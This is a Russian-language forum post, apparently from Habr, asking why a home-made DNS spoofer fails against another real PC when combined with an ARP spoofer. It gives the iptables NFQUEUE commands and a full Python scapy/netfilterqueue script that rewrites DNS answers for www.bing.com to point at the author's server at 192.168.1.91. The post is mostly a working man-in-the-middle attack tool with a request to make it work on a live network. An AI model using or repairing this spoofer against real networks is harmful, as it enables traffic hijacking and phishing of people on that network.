ВНИМАНИЕ, ВАЖНОЕ ОБНОВЛЕНИЕ ТЕМЫ!!!
ОШИБКА ЗАКЛЮЧАЕТСЯ В ТОМ, ЧТО ЕСЛИ Я ПРИМЕНЯЮ СКРИПТ НА СВОЕМ ПК ТО ОН РАБОТАЕТ, НО КОГДА Я ПЫТАЮСЬ ЕГО ИСПОЛЬЗОВАТЬ ВМЕСТЕ С ARP SPOOFER НА ДРУГОМ ПК, ТО ПОЧЕМУ ТО В ПАКЕТЕ, КОТОРЫЙ Я ПОЛУЧАЮ ОТСУТСТВУЕТ УРОВЕНЬ DNS
ПОЖАЛУЙСТА ПОМОГИТЕ МНЕ ЕСЛИ КТО-ТО ЗНАЕТ КАК ЭТО ИСПРАВИТЬ
Здравствуй хабр комьюнити, у меня случилась проблема в ходе тестировки моего DNS Spoofer.
Суть проблемы в том, что если я использую команды:
service apache2 start
iptables --flush
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0
и тестирую спуфер на своем пк все работает нормально (сайт www.bing.com подменяется моим сайтом, который находится на 192.168.1.91)
Если я пытаюсь провести атаку на другом ПК(реальная, не виртуальная машина), используя ARP spoofer и DNS spoofer, перед этим прописав:
service apache2 start
iptables --flush
iptables -I FORWARD -j NFQUEUE --queue-num 0
, то мой спуфер ничего сделать целевому ПК не может (сразу говорю, что ARP spoofer работает отлично, плюс я его часто использовал вместе с Packet sniffer и все работало идеально, но если надо, то могу выложить и его исходный код)
ЗАРАНЕЕ СПАСИБО ЗА ВАШУ ПОМОЩЬ!!!
КОД:
#!/usr/bin/env python
import scapy.all as scapy
import netfilterqueue
def process_pack(packet):
scapy_pack = scapy.IP(packet.get_payload())
if scapy_pack.haslayer(scapy.DNSRR):
print(scapy_pack.show())
qname = scapy_pack[scapy.DNSQR].qname
print(str(qname))
if "www.bing.com" in qname:
print("[+] Spoofing target, url >> " + qname)
scapy_pack[scapy.DNS].ancount = 1
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.91")
scapy_pack[scapy.DNS].an = answer
del scapy_pack[scapy.IP].len
del scapy_pack[scapy.IP].chksum
del scapy_pack[scapy.UDP].chksum
del scapy_pack[scapy.UDP].len
packet.set_payload(str(scapy_pack))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_pack)
queue.run()